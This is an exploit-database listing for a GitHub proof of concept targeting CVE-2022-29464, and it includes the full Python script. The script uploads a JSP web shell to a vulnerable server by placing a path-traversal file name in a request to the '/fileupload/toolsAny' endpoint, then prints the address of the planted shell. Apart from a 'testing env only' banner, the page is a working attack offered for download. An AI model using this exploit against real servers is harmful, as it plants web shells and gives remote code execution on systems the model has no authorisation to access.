Exploit database

GH-923dc9d9d5d8e2796bcd6f9b09584d00

jimidk/better-cve-2022-29464

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-29464

34 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
jimidk/better-cve-2022-29464Revision 7bcdffd26ea2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main.py

Python · 948 bytes
import requests, urllib3, sys
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

ENDC = '\033[0m'
RED = '\033[91m'
BLUE = '\033[96m'
UNDERLINE = '\033[93m'

if len(sys.argv) != 3:
    print(BLUE, "https://github.com/jimidk", ENDC)
    print(RED, "USE IN TESTING ENV ONLY\n", ENDC)
    print(UNDERLINE, "python3 main.py https://example.com shell.jsp", ENDC)
    print(UNDERLINE, "Replace https://example.com with the vulnerable server and shell.jsp with a filename you want to use for upload.", ENDC)
    exit()
    
server, filename = sys.argv[1:]

with open('shell.jsp') as f:
    print(RED, "Trying to upload...", ENDC)
    shell = f.read()
    res = requests.post(f'{server}/fileupload/toolsAny', files={f"../../../../repository/deployment/server/webapps/authenticationendpoint/{filename}": shell}, verify=False)
    print(BLUE, f"Status code: {res.status_code}\nShell: {server}/authenticationendpoint/{filename}", ENDC)